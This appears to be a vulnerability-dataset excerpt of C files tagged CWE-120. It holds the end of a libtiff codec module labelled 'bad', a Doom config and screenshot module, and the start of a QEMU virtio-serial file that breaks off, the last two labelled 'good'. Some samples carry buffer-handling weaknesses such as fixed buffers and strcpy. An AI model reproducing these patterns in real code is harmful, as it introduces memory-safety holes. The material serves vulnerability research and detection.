min(tile_width, state->xsize - x); // iterate over each line in the tile and stuff data into image for (tile_y = 0; tile_y < min(tile_length, state->ysize - y); tile_y++) { TRACE(("Writing tile data at %dx%d using tile_width: %d; \n", tile_y + y, x, current_tile_width)); // UINT8 * bbb = state->buffer + tile_y * row_byte_size; // TRACE(("chars: %x%x%x%x\n", ((UINT8 *)bbb)[0], ((UINT8 *)bbb)[1], ((UINT8 *)bbb)[2], ((UINT8 *)bbb)[3])); state->shuffle((UINT8*) im->image[tile_y + y] + x * im->pixelsize, state->buffer + tile_y * row_byte_size, current_tile_width ); } } } } else { UINT32 strip_row, row_byte_size; UINT8 *new_data; UINT32 rows_per_strip; int ret; ret = TIFFGetField(tiff, TIFFTAG_ROWSPERSTRIP, &rows_per_strip); if (ret != 1) { rows_per_strip = state->ysize; } TRACE(("RowsPerStrip: %u \n", rows_per_strip)); // We could use TIFFStripSize, but for YCbCr data it returns subsampled data size row_byte_size = (state->xsize * state->bits + 7) / 8; /* overflow check for realloc */ if (INT_MAX / row_byte_size < rows_per_strip) { state->errcode = IMAGING_CODEC_MEMORY; TIFFClose(tiff); return -1; } state->bytes = rows_per_strip * row_byte_size; TRACE(("StripSize: %d \n", state->bytes)); /* realloc to fit whole strip */ /* malloc check above */ new_data = realloc (state->buffer, state->bytes); if (!new_data) { state->errcode = IMAGING_CODEC_MEMORY; TIFFClose(tiff); return -1; } state->buffer = new_data; for (; state->y < state->ysize; state->y += rows_per_strip) { if (ReadStrip(tiff, state->y, (UINT32 *)state->buffer) == -1) { TRACE(("Decode Error, strip %d\n", TIFFComputeStrip(tiff, state->y, 0))); state->errcode = IMAGING_CODEC_BROKEN; TIFFClose(tiff); return -1; } TRACE(("Decoded strip for row %d \n", state->y)); // iterate over each row in the strip and stuff data into image for (strip_row = 0; strip_row < min(rows_per_strip, state->ysize - state->y); strip_row++) { TRACE(("Writing data into line %d ; \n", state->y + strip_row)); // UINT8 * bbb = state->buffer + strip_row * (state->bytes / rows_per_strip); // TRACE(("chars: %x %x %x %x\n", ((UINT8 *)bbb)[0], ((UINT8 *)bbb)[1], ((UINT8 *)bbb)[2], ((UINT8 *)bbb)[3])); state->shuffle((UINT8*) im->image[state->y + state->yoff + strip_row] + state->xoff * im->pixelsize, state->buffer + strip_row * row_byte_size, state->xsize); } } } TIFFClose(tiff); TRACE(("Done Decoding, Returning \n")); // Returning -1 here to force ImageFile.load to break, rather than // even think about looping back around. return -1; } int ImagingLibTiffEncodeInit(ImagingCodecState state, char *filename, int fp) { // Open the FD or the pointer as a tiff file, for writing. // We may have to do some monkeying around to make this really work. // If we have a fp, then we're good. // If we have a memory string, we're probably going to have to malloc, then // shuffle bytes into the writescanline process. // Going to have to deal with the directory as well. TIFFSTATE *clientstate = (TIFFSTATE *)state->context; int bufsize = 64*1024; char *mode = "w"; TRACE(("initing libtiff\n")); TRACE(("Filename %s, filepointer: %d \n", filename, fp)); TRACE(("State: count %d, state %d, x %d, y %d, ystep %d\n", state->count, state->state, state->x, state->y, state->ystep)); TRACE(("State: xsize %d, ysize %d, xoff %d, yoff %d \n", state->xsize, state->ysize, state->xoff, state->yoff)); TRACE(("State: bits %d, bytes %d \n", state->bits, state->bytes)); TRACE(("State: context %p \n", state->context)); clientstate->loc = 0; clientstate->size = 0; clientstate->eof =0; clientstate->data = 0; clientstate->flrealloc = 0; clientstate->fp = fp; state->state = 0; if (fp) { TRACE(("Opening using fd: %d for writing \n",clientstate->fp)); clientstate->tiff = TIFFFdOpen(clientstate->fp, filename, mode); } else { // malloc a buffer to write the tif, we're going to need to realloc or something if we need bigger. TRACE(("Opening a buffer for writing \n")); /* malloc check ok, small constant allocation */ clientstate->data = malloc(bufsize); clientstate->size = bufsize; clientstate->flrealloc=1; if (!clientstate->data) { TRACE(("Error, couldn't allocate a buffer of size %d\n", bufsize)); return 0; } clientstate->tiff = TIFFClientOpen(filename, mode, (thandle_t) clientstate, _tiffReadProc, _tiffWriteProc, _tiffSeekProc, _tiffCloseProc, _tiffSizeProc, _tiffNullMapProc, _tiffUnmapProc); /*force no mmap*/ } if (!clientstate->tiff) { TRACE(("Error, couldn't open tiff file\n")); return 0; } return 1; } int ImagingLibTiffMergeFieldInfo(ImagingCodecState state, TIFFDataType field_type, int key, int is_var_length){ // Refer to libtiff docs (http://www.simplesystems.org/libtiff/addingtags.html) TIFFSTATE *clientstate = (TIFFSTATE *)state->context; char field_name[10]; uint32 n; int status = 0; // custom fields added with ImagingLibTiffMergeFieldInfo are only used for // decoding, ignore readcount; int readcount = 0; // we support writing a single value, or a variable number of values int writecount = 1; // whether the first value should encode the number of values. int passcount = 0; TIFFFieldInfo info[] = { { key, readcount, writecount, field_type, FIELD_CUSTOM, 1, passcount, field_name } }; if (is_var_length) { info[0].field_writecount = -1; } if (is_var_length && field_type != TIFF_ASCII) { info[0].field_passcount = 1; } n = sizeof(info) / sizeof(info[0]); // Test for libtiff 4.0 or later, excluding libtiff 3.9.6 and 3.9.7 #if TIFFLIB_VERSION >= 20111221 && TIFFLIB_VERSION != 20120218 && TIFFLIB_VERSION != 20120922 status = TIFFMergeFieldInfo(clientstate->tiff, info, n); #else TIFFMergeFieldInfo(clientstate->tiff, info, n); #endif return status; } int ImagingLibTiffSetField(ImagingCodecState state, ttag_t tag, ...){ // after tif_dir.c->TIFFSetField. TIFFSTATE *clientstate = (TIFFSTATE *)state->context; va_list ap; int status; va_start(ap, tag); status = TIFFVSetField(clientstate->tiff, tag, ap); va_end(ap); return status; } int ImagingLibTiffEncode(Imaging im, ImagingCodecState state, UINT8* buffer, int bytes) { /* One shot encoder. Encode everything to the tiff in the clientstate. If we're running off of a FD, then run once, we're good, everything ends up in the file, we close and we're done. If we're going to memory, then we need to write the whole file into memory, then parcel it back out to the pystring buffer bytes at a time. */ TIFFSTATE *clientstate = (TIFFSTATE *)state->context; TIFF *tiff = clientstate->tiff; TRACE(("in encoder: bytes %d\n", bytes)); TRACE(("State: count %d, state %d, x %d, y %d, ystep %d\n", state->count, state->state, state->x, state->y, state->ystep)); TRACE(("State: xsize %d, ysize %d, xoff %d, yoff %d \n", state->xsize, state->ysize, state->xoff, state->yoff)); TRACE(("State: bits %d, bytes %d \n", state->bits, state->bytes)); TRACE(("Buffer: %p: %c%c%c%c\n", buffer, (char)buffer[0], (char)buffer[1],(char)buffer[2], (char)buffer[3])); TRACE(("State->Buffer: %c%c%c%c\n", (char)state->buffer[0], (char)state->buffer[1],(char)state->buffer[2], (char)state->buffer[3])); TRACE(("Image: mode %s, type %d, bands: %d, xsize %d, ysize %d \n", im->mode, im->type, im->bands, im->xsize, im->ysize)); TRACE(("Image: image8 %p, image32 %p, image %p, block %p \n", im->image8, im->image32, im->image, im->block)); TRACE(("Image: pixelsize: %d, linesize %d \n", im->pixelsize, im->linesize)); dump_state(clientstate); if (state->state == 0) { TRACE(("Encoding line bt line")); while(state->y < state->ysize){ state->shuffle(state->buffer, (UINT8*) im->image[state->y + state->yoff] + state->xoff * im->pixelsize, state->xsize); if (TIFFWriteScanline(tiff, (tdata_t)(state->buffer), (uint32)state->y, 0) == -1) { TRACE(("Encode Error, row %d\n", state->y)); state->errcode = IMAGING_CODEC_BROKEN; TIFFClose(tiff); if (!clientstate->fp){ free(clientstate->data); } return -1; } state->y++; } if (state->y == state->ysize) { state->state=1; TRACE(("Flushing \n")); if (!TIFFFlush(tiff)) { TRACE(("Error flushing the tiff")); // likely reason is memory. state->errcode = IMAGING_CODEC_MEMORY; TIFFClose(tiff); if (!clientstate->fp){ free(clientstate->data); } return -1; } TRACE(("Closing \n")); TIFFClose(tiff); // reset the clientstate metadata to use it to read out the buffer. clientstate->loc = 0; clientstate->size = clientstate->eof; // redundant? } } if (state->state == 1 && !clientstate->fp) { int read = (int)_tiffReadProc(clientstate, (tdata_t)buffer, (tsize_t)bytes); TRACE(("Buffer: %p: %c%c%c%c\n", buffer, (char)buffer[0], (char)buffer[1],(char)buffer[2], (char)buffer[3])); if (clientstate->loc == clientstate->eof) { TRACE(("Hit EOF, calling an end, freeing data")); state->errcode = IMAGING_CODEC_END; free(clientstate->data); } return read; } state->errcode = IMAGING_CODEC_END; return 0; } const char* ImagingTiffVersion(void) { return TIFFGetVersion(); } #endif
./CrossVul/dataset_final_sorted/CWE-120/c/bad_3871_3
crossvul-cpp_data_good_4075_0
// // Copyright (C) 1993-1996 Id Software, Inc. // Copyright (C) 2016-2017 Alexey Khokholov (Nuke.YKT) // Copyright (C) 2017 Alexandre-Xavier Labont�-Lamoureux // // This program is free software; you can redistribute it and/or // modify it under the terms of the GNU General Public License // as published by the Free Software Foundation; either version 2 // of the License, or (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // DESCRIPTION: // Main loop menu stuff. // Default Config File. // PCX Screenshots. // #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <ctype.h> #include "doomdef.h" #include "z_zone.h" #include "w_wad.h" #include "i_system.h" #include "v_video.h" #include "hu_stuff.h" // State. #include "doomstat.h" // Data. #include "dstrings.h" #include "m_misc.h" int myargc; char** myargv; // // M_DrawText // Returns the final X coordinate // HU_Init must have been called to init the font // extern patch_t* hu_font[HU_FONTSIZE]; int M_DrawText ( int x, int y, boolean direct, char* string ) { int c; int w; while (*string) { c = toupper(*string) - HU_FONTSTART; string++; if (c < 0 || c> HU_FONTSIZE) { x += 4; continue; } w = SHORT (hu_font[c]->width); if (x+w > SCREENWIDTH) break; if (direct) V_DrawPatchDirect(x, y, 0, hu_font[c]); else V_DrawPatch(x, y, 0, hu_font[c]); x+=w; } return x; } // // M_CheckParm // Checks for the given parameter // in the program's command line arguments. // Returns the argument number (1 to argc-1) // or 0 if not present int M_CheckParm (char *check) { int i; for (i = 1;i<myargc;i++) { if ( !strcasecmp(check, myargv[i]) ) return i; } return 0; } // // M_Random // Returns a 0-255 number // unsigned char rndtable[256] = { 0, 8, 109, 220, 222, 241, 149, 107, 75, 248, 254, 140, 16, 66 , 74, 21, 211, 47, 80, 242, 154, 27, 205, 128, 161, 89, 77, 36 , 95, 110, 85, 48, 212, 140, 211, 249, 22, 79, 200, 50, 28, 188 , 52, 140, 202, 120, 68, 145, 62, 70, 184, 190, 91, 197, 152, 224 , 149, 104, 25, 178, 252, 182, 202, 182, 141, 197, 4, 81, 181, 242 , 145, 42, 39, 227, 156, 198, 225, 193, 219, 93, 122, 175, 249, 0 , 175, 143, 70, 239, 46, 246, 163, 53, 163, 109, 168, 135, 2, 235 , 25, 92, 20, 145, 138, 77, 69, 166, 78, 176, 173, 212, 166, 113 , 94, 161, 41, 50, 239, 49, 111, 164, 70, 60, 2, 37, 171, 75 , 136, 156, 11, 56, 42, 146, 138, 229, 73, 146, 77, 61, 98, 196 , 135, 106, 63, 197, 195, 86, 96, 203, 113, 101, 170, 247, 181, 113 , 80, 250, 108, 7, 255, 237, 129, 226, 79, 107, 112, 166, 103, 241 , 24, 223, 239, 120, 198, 58, 60, 82, 128, 3, 184, 66, 143, 224 , 145, 224, 81, 206, 163, 45, 63, 90, 168, 114, 59, 33, 159, 95 , 28, 139, 123, 98, 125, 196, 15, 70, 194, 253, 54, 14, 109, 226 , 71, 17, 161, 93, 186, 87, 244, 138, 20, 52, 123, 251, 26, 36 , 17, 46, 52, 231, 232, 76, 31, 221, 84, 37, 216, 165, 212, 106 , 197, 242, 98, 43, 39, 175, 254, 145, 190, 84, 118, 222, 187, 136 , 120, 163, 236, 249 }; int rndindex = 0; int prndindex = 0; // Which one is deterministic? int P_Random (void) { prndindex = (prndindex+1)&0xff; return rndtable[prndindex]; } int M_Random (void) { rndindex = (rndindex+1)&0xff; return rndtable[rndindex]; } void M_ClearRandom (void) { rndindex = prndindex = 0; } void M_ClearBox (fixed_t *box) { box[BOXTOP] = box[BOXRIGHT] = MININT; box[BOXBOTTOM] = box[BOXLEFT] = MAXINT; } void M_AddToBox ( fixed_t* box, fixed_t x, fixed_t y ) { if (x<box[BOXLEFT]) box[BOXLEFT] = x; else if (x>box[BOXRIGHT]) box[BOXRIGHT] = x; if (y<box[BOXBOTTOM]) box[BOXBOTTOM] = y; else if (y>box[BOXTOP]) box[BOXTOP] = y; } // // M_WriteFile // #ifndef O_BINARY #define O_BINARY 0 #endif boolean M_WriteFile ( char const* name, void* source, int length ) { int handle; int count; handle = open ( name, O_WRONLY | O_CREAT | O_TRUNC | O_BINARY, 0666); if (handle == -1) return false; count = write (handle, source, length); close (handle); if (count < length) return false; return true; } // // M_ReadFile // int M_ReadFile ( char const* name, byte** buffer ) { int handle, count, length; struct stat fileinfo; byte *buf; handle = open (name, O_RDONLY | O_BINARY, 0666); if (handle == -1) I_Error ("Couldn't read file %s", name); if (fstat (handle,&fileinfo) == -1) I_Error ("Couldn't read file %s", name); length = fileinfo.st_size; buf = Z_Malloc (length, PU_STATIC, NULL); count = read (handle, buf, length); close (handle); if (count < length) I_Error ("Couldn't read file %s", name); *buffer = buf; return length; } // // DEFAULTS // int usemouse; int usejoystick; extern int key_right; extern int key_left; extern int key_up; extern int key_down; extern int key_strafeleft; extern int key_straferight; extern int key_fire; extern int key_use; extern int key_strafe; extern int key_speed; extern int mousebfire; extern int mousebstrafe; extern int mousebforward; extern int joybfire; extern int joybstrafe; extern int joybuse; extern int joybspeed; extern int viewwidth; extern int viewheight; extern int mouseSensitivity; extern int showMessages; extern int detailLevel; extern int screenblocks; extern int showMessages; // machine-independent sound params extern int numChannels; extern int sfxVolume; extern int musicVolume; extern int snd_SBport, snd_SBirq, snd_SBdma; extern int snd_Mport; extern char* chat_macros[]; typedef struct { char* name; int* location; int defaultvalue; int scantranslate; // PC scan code hack int untranslated; // lousy hack } default_t; #define SC_UPARROW 0x48 #define SC_DOWNARROW 0x50 #define SC_LEFTARROW 0x4b #define SC_RIGHTARROW 0x4d #define SC_RCTRL 0x1d #define SC_RALT 0x38 #define SC_RSHIFT 0x36 #define SC_SPACE 0x39 #define SC_COMMA 0x33 #define SC_PERIOD 0x34 #define SC_PAGEUP 0x49 #define SC_INSERT 0x52 #define SC_HOME 0x47 #define SC_PAGEDOWN 0x51 #define SC_DELETE 0x53 #define SC_END 0x4f #define SC_ENTER 0x1c #define SC_KEY_A 0x1e #define SC_KEY_B 0x30 #define SC_KEY_C 0x2e #define SC_KEY_D 0x20 #define SC_KEY_E 0x12 #define SC_KEY_F 0x21 #define SC_KEY_G 0x22 #define SC_KEY_H 0x23 #define SC_KEY_I 0x17 #define SC_KEY_J 0x24 #define SC_KEY_K 0x25 #define SC_KEY_L 0x26 #define SC_KEY_M 0x32 #define SC_KEY_N 0x31 #define SC_KEY_O 0x18 #define SC_KEY_P 0x19 #define SC_KEY_Q 0x10 #define SC_KEY_R 0x13 #define SC_KEY_S 0x1f #define SC_KEY_T 0x14 #define SC_KEY_U 0x16 #define SC_KEY_V 0x2f #define SC_KEY_W 0x11 #define SC_KEY_X 0x2d #define SC_KEY_Y 0x15 #define SC_KEY_Z 0x2c #define SC_BACKSPACE 0x0e default_t defaults[] = { {"mouse_sensitivity",&mouseSensitivity, 5}, {"sfx_volume",&sfxVolume, 8}, {"music_volume",&musicVolume, 8}, {"show_messages",&showMessages, 1}, {"key_right",&key_right, SC_RIGHTARROW, 1}, {"key_left",&key_left, SC_LEFTARROW, 1}, {"key_up",&key_up, SC_UPARROW, 1}, {"key_down",&key_down, SC_DOWNARROW, 1}, {"key_strafeleft",&key_strafeleft, SC_COMMA, 1}, {"key_straferight",&key_straferight, SC_PERIOD, 1}, {"key_fire",&key_fire, SC_RCTRL, 1}, {"key_use",&key_use, SC_SPACE, 1}, {"key_strafe",&key_strafe, SC_RALT, 1}, {"key_speed",&key_speed, SC_RSHIFT, 1}, {"use_mouse",&usemouse, 1}, {"mouseb_fire",&mousebfire,0}, {"mouseb_strafe",&mousebstrafe,1}, {"mouseb_forward",&mousebforward,2}, {"use_joystick",&usejoystick, 0}, {"joyb_fire",&joybfire,0}, {"joyb_strafe",&joybstrafe,1}, {"joyb_use",&joybuse,3}, {"joyb_speed",&joybspeed,2}, {"screenblocks",&screenblocks, 9}, {"detaillevel",&detailLevel, 0}, {"snd_channels",&numChannels, 3}, {"snd_musicdevice",&snd_DesiredMusicDevice, 0}, {"snd_sfxdevice",&snd_DesiredSfxDevice, 0}, {"snd_sbport",&snd_SBport, 0x220}, {"snd_sbirq",&snd_SBirq, 5}, {"snd_sbdma",&snd_SBdma, 1}, {"snd_mport",&snd_Mport, 0x330}, {"usegamma",&usegamma, 0}, {"chatmacro0", (int *) &chat_macros[0], (int) HUSTR_CHATMACRO0 }, {"chatmacro1", (int *) &chat_macros[1], (int) HUSTR_CHATMACRO1 }, {"chatmacro2", (int *) &chat_macros[2], (int) HUSTR_CHATMACRO2 }, {"chatmacro3", (int *) &chat_macros[3], (int) HUSTR_CHATMACRO3 }, {"chatmacro4", (int *) &chat_macros[4], (int) HUSTR_CHATMACRO4 }, {"chatmacro5", (int *) &chat_macros[5], (int) HUSTR_CHATMACRO5 }, {"chatmacro6", (int *) &chat_macros[6], (int) HUSTR_CHATMACRO6 }, {"chatmacro7", (int *) &chat_macros[7], (int) HUSTR_CHATMACRO7 }, {"chatmacro8", (int *) &chat_macros[8], (int) HUSTR_CHATMACRO8 }, {"chatmacro9", (int *) &chat_macros[9], (int) HUSTR_CHATMACRO9 } }; int numdefaults; char* defaultfile; // // M_SaveDefaults // void M_SaveDefaults (void) { int i; int v; FILE* f; f = fopen (defaultfile, "w"); if (!f) return; // can't write the file, but don't complain for (i=0 ; i<numdefaults ; i++) { if (defaults[i].scantranslate) defaults[i].location = &defaults[i].untranslated; if (defaults[i].defaultvalue > -0xfff && defaults[i].defaultvalue < 0xfff) { v = *defaults[i].location; fprintf (f,"%s\t\t%i\n",defaults[i].name,v); } else { fprintf (f,"%s\t\t\"%s\"\n",defaults[i].name, * (char **) (defaults[i].location)); } } fclose (f); } // // M_LoadDefaults // extern byte scantokey[128]; void M_LoadDefaults (void) { int i; int len; FILE* f; char def[80]; char strparm[100]; char* newstring; int parm; boolean isstring; // set everything to base values numdefaults = sizeof(defaults)/sizeof(defaults[0]); for (i=0 ; i<numdefaults ; i++) *defaults[i].location = defaults[i].defaultvalue; // check for a custom default file i = M_CheckParm ("-config"); if (i && i<myargc-1) { defaultfile = myargv[i+1]; printf (" default file: %s\n",defaultfile); } else defaultfile = basedefault; // read the file in, overriding any set defaults f = fopen (defaultfile, "r"); if (f) { while (!feof(f)) { isstring = false; if (fscanf (f, "%79s %99[^\n]\n", def, strparm) == 2) { if (strparm[0] == '"') { // get a string default isstring = true; len = strlen(strparm); newstring = (char *) malloc(len); strparm[len-1] = 0; strcpy(newstring, strparm+1); } else if (strparm[0] == '0' && strparm[1] == 'x') sscanf(strparm+2, "%x", &parm); else sscanf(strparm, "%i", &parm); for (i=0 ; i<numdefaults ; i++) if (!strcmp(def, defaults[i].name)) { if (!isstring) *defaults[i].location = parm; else *defaults[i].location = (int) newstring; break; } } } fclose (f); } for (i = 0; i < numdefaults; i++) { if (defaults[i].scantranslate) { parm = *defaults[i].location; defaults[i].untranslated = parm; *defaults[i].location = scantokey[parm]; } } } // // SCREEN SHOTS // typedef struct { char manufacturer; char version; char encoding; char bits_per_pixel; unsigned short xmin; unsigned short ymin; unsigned short xmax; unsigned short ymax; unsigned short hres; unsigned short vres; unsigned char palette[48]; char reserved; char color_planes; unsigned short bytes_per_line; unsigned short palette_type; char filler[58]; unsigned char data; // unbounded } pcx_t; // // WritePCXfile // void WritePCXfile ( char* filename, byte* data, int width, int height, byte* palette ) { int i; int length; pcx_t* pcx; byte* pack; pcx = Z_Malloc (width*height*2+1000, PU_STATIC, NULL); pcx->manufacturer = 0x0a; // PCX id pcx->version = 5; // 256 color pcx->encoding = 1; // uncompressed pcx->bits_per_pixel = 8; // 256 color pcx->xmin = 0; pcx->ymin = 0; pcx->xmax = SHORT(width-1); pcx->ymax = SHORT(height-1); pcx->hres = SHORT(width); pcx->vres = SHORT(height); memset (pcx->palette,0,sizeof(pcx->palette)); pcx->color_planes = 1; // chunky image pcx->bytes_per_line = SHORT(width); pcx->palette_type = SHORT(2); // not a grey scale memset (pcx->filler,0,sizeof(pcx->filler)); // pack the image pack = &pcx->data; for (i=0 ; i<width*height ; i++) { if ( (*data & 0xc0) != 0xc0) *pack++ = *data++; else { *pack++ = 0xc1; *pack++ = *data++; } } // write the palette *pack++ = 0x0c; // palette ID byte for (i=0 ; i<768 ; i++) *pack++ = *palette++; // write output file length = pack - (byte *)pcx; M_WriteFile (filename, pcx, length); Z_Free (pcx); } // // M_ScreenShot // void M_ScreenShot (void) { int i; byte* linear; char lbmname[12]; // munge planar buffer to linear linear = screens[2]; I_ReadScreen (linear); // find a file name to save it to strcpy(lbmname,"DOOM00.pcx"); for (i=0 ; i<=99 ; i++) { lbmname[4] = i/10 + '0'; lbmname[5] = i%10 + '0'; if (access(lbmname,0) == -1) break; // file doesn't exist } if (i==100) I_Error ("M_ScreenShot: Couldn't create a PCX"); // save the pcx file WritePCXfile (lbmname, linear, SCREENWIDTH, SCREENHEIGHT, W_CacheLumpName ("PLAYPAL",PU_CACHE)); players[consoleplayer].message = "screen shot"; }
./CrossVul/dataset_final_sorted/CWE-120/c/good_4075_0
crossvul-cpp_data_good_1706_0
/* * A bus for connecting virtio serial and console ports * * Copyright (C) 2009, 2010 Red Hat, Inc. * * Author(s): * Amit Shah <amit.shah@redhat.com> * * Some earlier parts are: * Copyright IBM, Corp. 2008 * authored by * Christian Ehrhardt <ehrhardt@linux.vnet.ibm.com> * * This work is licensed under the terms of the GNU GPL, version 2. See * the COPYING file in the top-level directory. * * Contributions after 2012-01-13 are licensed under the terms of the * GNU GPL, version 2 or (at your option) any later version. */ #include "qemu/iov.h" #include "monitor/monitor.h" #include "qemu/error-report.h" #include "qemu/queue.h" #include "hw/sysbus.h" #include "trace.h" #include "hw/virtio/virtio-serial.h" #include "hw/virtio/virtio-access.h" static struct VirtIOSerialDevices { QLIST_HEAD(, VirtIOSerial) devices; } vserdevices; static VirtIOSerialPort *find_port_by_id(VirtIOSerial *vser, uint32_t id) { VirtIOSerialPort *port; if (id == VIRTIO_CONSOLE_BAD_ID) { return NULL; } QTAILQ_FOREACH(port, &vser->ports, next) { if (port->id == id) return port; } return NULL; } static VirtIOSerialPort *find_port_by_vq(VirtIOSerial *vser, VirtQueue *vq) { VirtIOSerialPort *port; QTAILQ_FOREACH(port, &vser->ports, next) { if (port->ivq == vq || port->ovq == vq) return port; } return NULL; } static VirtIOSerialPort *find_port_by_name(char *name) { VirtIOSerial *vser; QLIST_FOREACH(vser, &vserdevices.devices, next) { VirtIOSerialPort *port; QTAILQ_FOREACH(port, &vser->ports, next) { if (port->name && !strcmp(port->name, name)) { return port; } } } return NULL; } static bool use_multiport(VirtIOSerial *vser) { VirtIODevice *vdev = VIRTIO_DEVICE(vser); return virtio_has_feature(vdev, VIRTIO_CONSOLE_F_MULTIPORT); } static size_t write_to_port(VirtIOSerialPort *port, const uint8_t *buf, size_t size) { VirtQueueElement elem; VirtQueue *vq; size_t offset; vq = port->ivq; if (!virtio_queue_ready(vq)) { return 0; } offset = 0; while (offset < size) { size_t len; if (!virtqueue_pop(vq, &elem)) { break; } len = iov_from_buf(elem.in_sg, elem.in_num, 0, buf + offset, size - offset); offset += len; virtqueue_push(vq, &elem, len); } virtio_notify(VIRTIO_DEVICE(port->vser), vq); return offset; } static void discard_vq_data(VirtQueue *vq, VirtIODevice *vdev) { VirtQueueElement elem; if (!virtio_queue_ready(vq)) { return; } while (virtqueue_pop(vq, &elem)) { virtqueue_push(vq, &elem, 0); } virtio_notify(vdev, vq); } static void do_flush_queued_data(VirtIOSerialPort *port, VirtQueue *vq, VirtIODevice *vdev) { VirtIOSerialPortClass *vsc; assert(port); assert(virtio_queue_ready(vq)); vsc = VIRTIO_SERIAL_PORT_GET_CLASS(port); while (!port->throttled) { unsigned int i; /* Pop an elem only if we haven't left off a previous one mid-way */ if (!port->elem.out_num) { if (!virtqueue_pop(vq, &port->elem)) { break; } port->iov_idx = 0; port->iov_offset = 0; } for (i = port->iov_idx; i < port->elem.out_num; i++) { size_t buf_size; ssize_t ret; buf_size = port->elem.out_sg[i].iov_len - port->iov_offset; ret = vsc->have_data(port, port->elem.out_sg[i].iov_base + port->iov_offset, buf_size); if (port->throttled) { port->iov_idx = i; if (ret > 0) { port->iov_offset += ret; } break; } port->iov_offset = 0; } if (port->throttled) { break; } virtqueue_push(vq, &port->elem, 0); port->elem.out_num = 0; } virtio_notify(vdev, vq); } static void flush_queued_data(VirtIOSerialPort *port) { assert(port); if (!virtio_queue_ready(port->ovq)) { return; } do_flush_queued_data(port, port->ovq, VIRTIO_DEVICE(port->vser)); } static size_t send_control_msg(VirtIOSerial *vser, void *buf, size_t len) { VirtQueueElement elem; VirtQueue *vq; vq = vser->c_ivq; if (!virtio_queue_ready(vq)) { return 0; } if (!virtqueue_pop(vq, &elem)) { return 0; } /* TODO: detect a buffer that's too short, set NEEDS_RESET */ iov_from_buf(elem.in_sg, elem.in_num, 0, buf, len); virtqueue_push(vq, &elem, len); virtio_notify(VIRTIO_DEVICE(vser), vq); return len; } static size_t send_control_event(VirtIOSerial *vser, uint32_t port_id, uint16_t event, uint16_t value) { VirtIODevice *vdev = VIRTIO_DEVICE(vser); struct virtio_console_control cpkt; virtio_stl_p(vdev, &cpkt.id, port_id); virtio_stw_p(vdev, &cpkt.event, event); virtio_stw_p(vdev, &cpkt.value, value); trace_virtio_serial_send_control_event(port_id, event, value); return send_control_msg(vser, &cpkt, sizeof(cpkt)); } /* Functions for use inside qemu to open and read from/write to ports */ int virtio_serial_open(VirtIOSerialPort *port) { /* Don't allow opening an already-open port */ if (port->host_connected) { return 0; } /* Send port open notification to the guest */ port->host_connected = true; send_control_event(port->vser, port->id, VIRTIO_CONSOLE_PORT_OPEN, 1); return 0; } int virtio_serial_close(VirtIOSerialPort *port) { port->host_connected = false; /* * If there's any data the guest sent which the app didn't * consume, reset the throttling flag and discard the data. */ port->throttled = false; discard_vq_data(port->ovq, VIRTIO_DEVICE(port->vser)); send_control_event(port->vser, port->id, VIRTIO_CONSOLE_PORT_OPEN, 0); return 0; } /* Individual ports/apps call this function to write to the guest. */ ssize_t virtio_serial_write(VirtIOSerialPort *port, const uint8_t *buf, size_t size) { if (!port || !port->host_connected || !port->guest_connected) { return 0; } return write_to_port(port, buf, size); } /* * Readiness of the guest to accept data on a port. * Returns max. data the guest can receive */ size_t virtio_serial_guest_ready(VirtIOSerialPort *port) { VirtIODevice *vdev = VIRTIO_DEVICE(port->vser); VirtQueue *vq = port->ivq; unsigned int bytes; if (!virtio_queue_ready(vq) || !(vdev->status & VIRTIO_CONFIG_S_DRIVER_OK) || virtio_queue_empty(vq)) { return 0; } if (use_multiport(port->vser) && !port->guest_connected) { return 0; } virtqueue_get_avail_bytes(vq, &bytes, NULL, 4096, 0); return bytes; } static void flush_queued_data_bh(void *opaque) { VirtIOSerialPort *port = opaque; flush_queued_data(port); } void virtio_serial_throttle_port(VirtIOSerialPort *port, bool throttle) { if (!port) { return; } trace_virtio_serial_throttle_port(port->id, throttle); port->throttled = throttle; if (throttle) { return; } qemu_bh_schedule(port->bh); } /* Guest wants to notify us of some event */ static void handle_control_message(VirtIOSerial *vser, void *buf, size_t len) { VirtIODevice *vdev = VIRTIO_DEVICE(vser); struct VirtIOSerialPort *port; VirtIOSerialPortClass *vsc; struct virtio_console_control cpkt, *gcpkt; uint8_t *buffer; size_t buffer_len; gcpkt = buf; if (len < sizeof(cpkt)) { /* The guest sent an invalid control packet */ return; } cpkt.event = virtio_lduw_p(vdev, &gcpkt->event); cpkt.value = virtio_lduw_p(vdev, &gcpkt->value); trace_virtio_serial_handle_control_message(cpkt.event, cpkt.value); if (cpkt.event == VIRTIO_CONSOLE_DEVICE_READY) { if (!cpkt.value) { error_report("virtio-serial-bus: Guest failure in adding device %s", vser->bus.qbus.name); return; } /* * The device is up, we can now tell the device about all the * ports we have here. */ QTAILQ_FOREACH(port, &vser->ports, next) { send_control_event(vser, port->id, VIRTIO_CONSOLE_PORT_ADD, 1); } return; } port = find_port_by_id(vser, virtio_ldl_p(vdev, &gcpkt->id)); if (!port) { error_report("virtio-serial-bus: Unexpected port id %u for device %s", virtio_ldl_p(vdev, &gcpkt->id), vser->bus.qbus.name); return; } trace_virtio_serial_handle_control_message_port(port->id); vsc = VIRTIO_SERIAL_PORT_GET_CLASS(port); switch(cpkt.event) { case VIRTIO_CONSOLE_PORT_READY: if (!cpkt.value) { error_report("virtio-serial-bus: Guest failure in adding port %u for device %s", port->id, vser->bus.qbus.name); break; } /* * Now that we know the guest asked for the port name, we're * sure the guest has initialised whatever state is necessary * for this port. Now's a good time to let the guest know if * this port is a console port so that the guest can hook it * up to hvc. */ if (vsc->is_console) { send_control_event(vser, port->id, VIRTIO_CONSOLE_CONSOLE_PORT, 1); } if (port->name) { virtio_stl_p(vdev, &cpkt.id, port->id); virtio_stw_p(vdev, &cpkt.event, VIRTIO_CONSOLE_PORT_NAME); virtio_stw_p(vdev, &cpkt.value, 1); buffer_len = sizeof(cpkt) + strlen(port->name) + 1; buffer = g_malloc(buffer_len); memcpy(buffer, &cpkt, sizeof(cpkt)); memcpy(buffer + sizeof(cpkt), port->name, strlen(port->name)); buffer[buffer_len - 1] = 0; send_control_msg(vser, buffer, buffer_len); g_free(buffer); } if (port->host_connected) { send_control_event(vser, port->id, VIRTIO_CONSOLE_PORT_OPEN, 1); } /* * When the guest has asked us for this information it means * the guest is all setup and has its 